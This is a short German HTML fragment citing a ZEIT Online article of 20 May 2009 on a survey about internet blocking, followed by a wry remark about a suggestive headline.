<p>Quelle: <a href="http://www.zeit.de/online/2009/22/netzsperren-umfrage?page=all">ZEIT-Artikel vom 20.5.2009, 13:09 Uhr</a></p>
<p><small>Wer die Suggestion im Titel findet, darf sie behalten.</small></p>
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